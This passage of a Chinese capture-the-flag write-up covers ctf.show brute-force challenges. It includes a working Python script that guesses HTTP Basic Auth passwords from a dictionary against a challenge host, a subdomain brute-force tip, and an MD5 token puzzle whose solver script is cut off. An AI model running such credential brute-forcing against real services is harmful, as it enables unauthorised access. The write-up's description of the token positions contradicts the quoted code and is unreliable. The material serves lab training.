爆破
web21
下载zip文件是后台密码字典,用户名猜测admin,先进行抓包
没有发现我们传输的参数,但是HTTP请求头里面有这样的参数
解码之后发现这是我们传输的参数,所以开始爆破
因为编码前几位是admin:的base64,所以我们只需要把密码所在段设置为变量即可
然后对payload进行base64加密,进行爆破
这里有点需要注意,我们要关闭Payload Encoding,因为我们base64加密结果可能会存在=或者==,payload encoding会将=进行编码
或者写python脚本
# -*- coding: utf-8 -*-
import time
import requests
import base64
url = 'http://7bfc1cb5-875f-43c6-94aa-f71f94a7b6d2.challenge.ctf.show:8080/'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
web22
提示进行域名爆破,用dirsearch爆破一下,flag.ctf.com
访问,网站GG了。。。。
web23
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}
关键在于对token的验证
1.对token进行md5加密之后进行截取
2.token的第12位、15位和17位必须相同
3.满足算式($_2 + $_15 + $_17) / $_2 === $_32
我们需要构造满足这些条件的md5,只能写脚本爆破
# -*- coding: utf-8 -*-
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
for b in dic:
t =